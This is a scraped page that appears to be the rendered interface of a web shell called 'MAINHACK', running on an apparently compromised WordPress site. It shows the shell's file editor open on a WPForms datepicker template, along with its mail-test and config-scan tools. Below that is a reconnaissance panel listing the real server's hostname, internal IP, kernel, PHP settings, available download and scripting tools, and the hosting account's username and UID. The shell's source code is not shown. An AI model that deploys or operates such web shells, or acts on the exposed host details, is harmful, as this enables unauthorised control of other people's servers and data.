[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: datepicker.php
<?php /** * Popover (range) datepicker template. * * @since 1.8.2 * @since 1.8.8 Added the `$hidden_fields` parameter. * * @var string $action The URL that processes the form submission. Ideally points out to the current admin page URL. * @var string $id Identifier to outline the context of where the datepicker will be used. e.g., "entries". * @var string $chosen_filter Currently selected filter or date range values. Last "X" days, or i.e. Feb 8, 2023 - Mar 9, 2023. * @var array $choices A list of date filter options for the datepicker module. * @var string $value Assigned timespan dates. * @var array $hidden_fields An array of hidden fields to be included in the form. */ defined( 'ABSPATH' ) || exit; // Exit if accessed directly. // An array of allowed HTML elements and attributes for the datepicker choices. $choices_allowed_html = [ 'li' => [], 'label' => [], 'input' => [ 'type' => [], 'name' => [], 'value' => [], 'checked' => [], 'aria-hidden' => [], ], ]; // Hidden fields to be included in the form submission. // `orderby` and `order` are always included by default. $default_hidden_fields = [ 'orderby', 'order' ]; $hidden_fields = array_merge( $default_hidden_fields, $hidden_fields ?? [] ); ?> <form class="wpforms-overview-top-bar-filter-form" method="get" action="<?php echo esc_url( $action ); ?>"> <input type="hidden" name="page" value="wpforms-<?php echo esc_attr( $id ); ?>" /> <?php // Output hidden fields for the current orderby and order values. // phpcs:disable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( $hidden_fields as $field ) { if ( empty( $_REQUEST[ $field ] ) ) { continue; } echo '<input type="hidden" name="' . esc_attr( $field ) . '" value="' . esc_attr( wp_unslash( $_REQUEST[ $field ] ) ) . '" />'; } // phpcs:enable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized ?> <button id="wpforms-datepicker-popover-button" class="button" role="button" aria-haspopup="true"> <?php echo esc_html( $chosen_filter ); ?> </button> <div class="wpforms-datepicker-popover"> <div class="wpforms-datepicker-popover-content"> <ul class="wpforms-datepicker-choices" aria-label="<?php esc_attr_e( 'Datepicker options', 'wpforms-lite' ); ?>" aria-orientation="vertical"> <?php echo wp_kses( '<li>' . implode( '</li><li>', (array) $choices ) . '</li>', $choices_allowed_html ); ?> </ul> <div class="wpforms-datepicker-calendar"> <input type="text" name="date" tabindex="-1" aria-hidden="true" id="wpforms-<?php echo esc_attr( $id ); ?>-overview-datepicker" value="<?php echo esc_attr( $value ); ?>" > </div> <div class="wpforms-datepicker-action"> <button class="button-secondary" type="reset"><?php esc_html_e( 'Cancel', 'wpforms-lite' ); ?></button> <button class="button-primary wpforms-btn-blue" type="submit"><?php esc_html_e( 'Apply', 'wpforms-lite' ); ?></button> </div> </div> </div> </form> <?php /* Omit closing PHP tag at the end of PHP files to avoid "headers already sent" issues. */
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697